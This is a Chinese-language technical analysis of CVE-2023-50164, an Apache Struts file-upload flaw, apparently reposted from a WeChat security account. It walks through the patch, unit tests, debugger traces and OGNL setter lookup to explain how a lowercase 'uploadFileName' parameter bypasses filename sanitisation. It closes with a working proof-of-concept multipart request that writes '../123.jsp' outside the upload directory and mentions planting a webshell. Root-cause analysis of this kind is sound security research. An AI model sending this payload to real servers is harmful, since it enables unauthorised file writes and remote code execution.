基本信息
由于 Struts 框架在处理参数名称大小写方面的不一致性,导致未经身份验证的远程攻击者能够通过修改参数名称的大小写来利用目录遍历技术上传恶意文件到服务器的非预期位置,最终导致代码执行。
影响版本
2.0.0<= Struts <= 2.3.37
2.5.0 <= Struts <= 2.5.32
6.0.0 <= Struts <= 6.3.0
环境搭建
使用vulhub起一个docker环境即可。
技术分析&调试
查看补丁可知,补丁修复前对于文件名超过maxStringLength
时会将错误消息和context
添加到errors
之后直接返回,不会执行删除临时文件的逻辑,在修复代码中在finally语句中执行item.delete来删除临时文件。
params.put(item.getFieldName(), values);
item.delete();
在commit d8c69691ef1d15e76a5f4fcf33039316da2340b6中主要有如下几个修复逻辑:对于appendAll
方法在添加参数之前先使用remove方法移除先前的参数。对于get方法,修改为对大小写不敏感
而remove
方法和contains
方法有如下修改:原先的remove方法会区分大小写,而修复后,remove方法从entrySet中忽略大小写并删除对应的项。
可以看出这个commit主要是将键值对获取/移除的方法修改为大小写不敏感。
测试单元代码如下,添加了两个单元测试方法
-
shouldGetBeCaseInsensitive
-
shouldAppendSameParamsIgnoringCase
shouldGetBeCaseInsensitive
测试HttpParameters.get
方法是否是大小写不敏感。shouldAppendSameParamsIgnoringCase
测试使用HttpParameters.appendAll
向Map里面添加键值对时是否对key大小写不敏感。可知修复主要是使得HttpParameters
类的一些方法从大小写敏感改为大小写不敏感。可以看出补丁主要是对HttpParameters
进行修复。
public class HttpParametersTest {
@Test
public void shouldGetBeCaseInsensitive() {
// given
HttpParameters params = HttpParameters.create(new HashMap<String, Object>() {{
put("param1", "value1");
}}).build();
// then
assertEquals("value1", params.get("Param1").getValue());
assertEquals("value1", params.get("paraM1").getValue());
assertEquals("value1", params.get("pAraM1").getValue());
}
@Test
public void shouldAppendSameParamsIgnoringCase() {
// given
HttpParameters params = HttpParameters.create(new HashMap<String, Object>() {{
put("param1", "value1");
}}).build();
// when
assertEquals("value1", params.get("param1").getValue());
params = params.appendAll(HttpParameters.create(new HashMap<String, String>() {{
put("Param1", "Value1");
}}).build());
// then
assertTrue(params.contains("param1"));
assertTrue(params.contains("Param1"));
assertEquals("Value1", params.get("param1").getValue());
assertEquals("Value1", params.get("Param1").getValue());
}
}
查看struts代码交叉引用,可知appendAll在如下Interceptor上有引用
在struts的struts-default.xml里面定义了默认的interceptor,其中文件上传由FileUploadInterceptor拦截请求。
<interceptor name="fileUpload" class="org.apache.struts2.interceptor.FileUploadInterceptor"/>
动态调试
发送如下请求,并在org.apache.struts2.interceptor.FileUploadIntercepto#intercept
断点:
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 400
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
在调试器中可以看到inputName为表单中name参数对应的值,struts会尝试根据inputName获取content type和fileName。
跟进multiWrapper.getFileNames
分发中,在org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest#getFileNames
中实现,代码如下
public String[] getFileNames(String fieldName) {
List<FileItem> items = (List)this.files.get(fieldName);
if (items == null) {
return null;
} else {
List<String> fileNames = new ArrayList(items.size());
Iterator var4 = items.iterator();
while(var4.hasNext()) {
FileItem fileItem = (FileItem)var4.next();
fileNames.add(this.getCanonicalName(fileItem.getName()));
}
return (String[])fileNames.toArray(new String[fileNames.size()]);
}
}
跟进getCanonicalName
方法内,在getCanonicalName
方法内获取了斜杠和反斜杠的位置,如果不为-1的话则会对文件名进行截断,取到最后一个斜杠后面的字符串作为文件名,防止目录穿越。
回到intercept方法中,在后面会拼接inputName组成contentTypeName和fileNameName作为Map的key,并将获取到的contentType和fileName作为value加入到HashMap中,而后通过appenAll方法将HashMap添加到HttpParameter
中
在FileInterceptor
获取到参数之后需要将参数通过Action的setter方法绑定到Action中的变量上。在定义的action中的set方法断点,重新调试,发送恶意请求,调试器中主要调用栈如下:
setUpload:27, UploadAction (org.chestnut.action)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:567, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
setMethodValue:2196, OgnlRuntime (ognl)
setPossibleProperty:98, ObjectPropertyAccessor (ognl)
setProperty:175, ObjectPropertyAccessor (ognl)
setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setValueBody:134, ASTProperty (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:308, SimpleNode (ognl)
setValue:829, Ognl (ognl)
lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 769172083 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$369)
compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)
setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:202, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
方法中尝试将parameters的每个键值对通过参数绑定调用Action的setter方法。
获取setter方法的逻辑
参数绑定需要获取Action中的方法并调用,在Action中对应方法下断点,可以得到如下调用栈
setUpload:27, UploadAction (org.chestnut.action)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:567, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
setMethodValue:2196, OgnlRuntime (ognl)
setPossibleProperty:98, ObjectPropertyAccessor (ognl)
setProperty:175, ObjectPropertyAccessor (ognl)
setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setValueBody:134, ASTProperty (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:308, SimpleNode (ognl)
setValue:829, Ognl (ognl)
lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 2098738059 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$371)
compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)
setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:202, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
在setMethodValue:2178, OgnlRuntime (ognl)
断点,重新发送请求,跟进getSetMethod
方法查看获取setter方法的逻辑
在getSetMethod
方法中会尝试从缓存取出Upload
对应的方法,如果取出的method
不为null则会返回,如果为null则会尝试调用_getSetMethod
方法从目标class中通过反射拼接get从目标class中获取到方法。
public static Method getSetMethod(OgnlContext context, Class targetClass, String propertyName) throws IntrospectionException, OgnlException {
Method method = cacheSetMethod.get(targetClass, propertyName);
if (method == OgnlRuntime.ClassPropertyMethodCache.NULL_REPLACEMENT) {
return null;
} else if (method != null) {
return method;
} else {
method = _getSetMethod(context, targetClass, propertyName);
cacheSetMethod.put(targetClass, propertyName, method);
return method;
}
}
// 参数
this.arg$3 = 'this' is not available
context = {OgnlContext@6991} size = 7
targetClass = {Class@6029} "class org.chestnut.action.UploadAction"
propertyName = "Upload"
method = {Method@6987} "public void org.chestnut.action.UploadAction.setUpload(java.io.File)"
在_getSetMethod
方法中会调用getDeclaredMethods
方法获取目标class中定义的指定方法,目标方法通过propertyName
指定,getDeclaredMethods
会调用collectAccessors
方法
private static Method _getSetMethod(OgnlContext context, Class targetClass, String propertyName) throws IntrospectionException, OgnlException {
Method result = null;
List methods = getDeclaredMethods(targetClass, propertyName, true);
public static List getDeclaredMethods(Class targetClass, String propertyName, boolean findSets) {
List result = null;
ClassCache cache = _declaredMethods[findSets ? 0 : 1];
Map propertyCache = (Map)cache.get(targetClass);
if (propertyCache == null || (result = (List)propertyCache.get(propertyName)) == null) {
synchronized(cache) {
Map propertyCache = (Map)cache.get(targetClass);
if (propertyCache == null || (result = (List)((Map)propertyCache).get(propertyName)) == null) {
String baseName = capitalizeBeanPropertyName(propertyName);
List result = new ArrayList();
collectAccessors(targetClass, baseName, result, findSets);
.....
return result == NotFoundList ? null : result;
}
在collectAccessors
方法中首先通过反射获取到目标class的所有方法,而后遍历所有方法,并传入addIfAccessor
方法中。addIfAccessor
会首先判断传入的方法名是否以目标名字结尾,通过判断后会通过拼接get/set/is来判断是否是目标方法,由于传入的findSets是true,所以会找到setMethodName方法最终得到setUpload方法
private static void collectAccessors(Class c, String baseName, List result, boolean findSets) {
Method[] methods;
try {
methods = c.getDeclaredMethods();
} catch (SecurityException var10) {
methods = c.getMethods();
}
for(int i = 0; i < methods.length; ++i) {
if (c.isInterface()) {
if (isDefaultMethod(methods[i]) || isNonDefaultPublicInterfaceMethod(methods[i])) {
addIfAccessor(result, methods[i], baseName, findSets);
}
} else if (isMethodCallable(methods[i])) {
addIfAccessor(result, methods[i], baseName, findSets);
}
}
Class superclass = c.getSuperclass();
if (superclass != null) {
collectAccessors(superclass, baseName, result, findSets);
}
Class[] var6 = c.getInterfaces();
int var7 = var6.length;
for(int var8 = 0; var8 < var7; ++var8) {
Class iface = var6[var8];
collectAccessors(iface, baseName, result, findSets);
}
}
private static void addIfAccessor(List result, Method method, String baseName, boolean findSets) {
String ms = method.getName();
if (ms.endsWith(baseName)) {
boolean isSet = false;
boolean isIs = false;
if ((isSet = ms.startsWith("set")) || ms.startsWith("get") || (isIs = ms.startsWith("is"))) {
int prefixLength = isIs ? 2 : 3;
if (isSet == findSets && baseName.length() == ms.length() - prefixLength) {
result.add(method);
}
}
}
}
getSetMethod
获取到方法后,会通过cacheSetMethod.put(targetClass, propertyName, method);
保存到缓存内。而后再次调用时,可以获取到setUpload
方法最终通过invokeMethod
方法调用。而对于恶意参数uploadFileName
,由于缓存中没有uploadFileName
,所以会尝试通过_getSetMethod
获取对应的set方法。
这里碰到了一个坑,众所周知Action中方法名为setUploadFileName
对应于endwith UploadFileName
,而uploadFileName 显然不满足条件,按道理在addIfAccessor
方法中应该获取不到对应的set方法才是,反常的是其反而获取到了,在重新调试,才发现在getDeclaredMethods
调用collectAccessors
方法之前,传入的baseName参数已经变成了UploadFileName
,满足前面的条件,获取到了get方法。很明显,baseName
由capitalizeBeanPropertyName
方法返回得到
查看capitalizeBeanPropertyName
方法,传入的propertyName
为uploadFileName
private static String capitalizeBeanPropertyName(String propertyName) {
if (propertyName.length() == 1) {
return propertyName.toUpperCase();
} else if (propertyName.startsWith("get") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {
return propertyName;
} else if (propertyName.startsWith("set") && propertyName.endsWith(")") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {
return propertyName;
} else if (propertyName.startsWith("is") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(2, 3).charAt(0))) {
return propertyName;
} else {
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
}
}
忽略前面的if,在最后一个else中,如果第一个字符是小写,第二个字符是大写则会直接返回,否则会将第一个字符变为大写,所以uploadFileName
在经过处理后会变为UploadFileName
,所以在后面可以通过addIfAccessor
里面的判断,获取到setUploadFileName
方法。
也就是说会调用两次setUploadFileName
方法,而Map中大写的key排在小写的key前面,所以首先会获取到经过目录穿越过滤器过滤的的正确的UploadFileName并通过setUploadFileName
方法设置到action中的UploadFileName
属性中
而后会设置uploadFileName的参数,而该参数不会经过目录穿越过滤器,也就是这个属性可以通过../
进行目录穿越,而后再次调用 setUploadFileName
方法action中的UploadFileName属性中,完成了变量覆盖。
PoC
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 400
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain
../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
小结
这个漏洞巧妙地利用了struts中对属性的规范化和Map存储顺序,利用参数绑定巧妙地绕过了目录穿越的过滤,成功进行变量覆盖,从而进行目录穿越,可以利用目录穿越在敏感目录写入webshell,达成远程代码执行。
而在补丁中在使用appendAll之前会调用remove方法,remove方法会忽略大小写,如果存在相同的参数则移除之前,所以当使用小写方式尝试利用时,在appendAll方法内会先移除存在的uploadFileName项,从而避免了后续的变量覆盖。
参考链接
https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/
原文始发于微信公众号(闲聊趣说):CVE-2023-50164 Apache Struts RCE 分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论